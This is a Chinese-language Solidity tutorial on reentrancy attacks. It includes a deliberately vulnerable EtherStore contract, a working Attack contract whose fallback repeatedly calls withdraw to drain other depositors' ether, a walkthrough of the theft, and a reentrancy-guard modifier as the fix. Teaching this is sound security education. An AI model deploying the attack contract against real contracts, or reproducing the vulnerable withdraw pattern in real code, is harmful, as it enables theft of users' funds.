3分钟Solidity: 11.1 重入攻击

37 阅读2分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的“Re-Entrancy(代码示例)”

漏洞

假设合约 A调用了合约 B

重入攻击允许 B在 A完成执行之前回调 A

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
   
EtherStore是一个可以存入和提取ETH的合约。

该合约容易受到重入攻击。

让我们看看原因。

1.  部署EtherStore

2.  从账户1(Alice)和账户2(Bob)各存入1个以太币到EtherStore

3.  部署Attack合约,传入EtherStore的地址

4.  调用Attack.attack并发送1个以太币(使用账户3(Eve))。

    你将收回3个以太币(从Alice和Bob那里窃取的2个以太币,

    加上这个合约发送的1个以太币)。

发生了什么?

攻击者能够在EtherStore.withdraw执行完成前多次调用它。

以下是函数调用的顺序:

-   Attack.attack
-   EtherStore.deposit
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当EtherStore向该合约发送以太币时,会调用回退函数。
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防技术

  • 确保所有状态变更在调用外部合约之前完成
  • 使用防止重入的函数修饰符

以下是一个重入防护的示例

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Remix Lite 尝试一下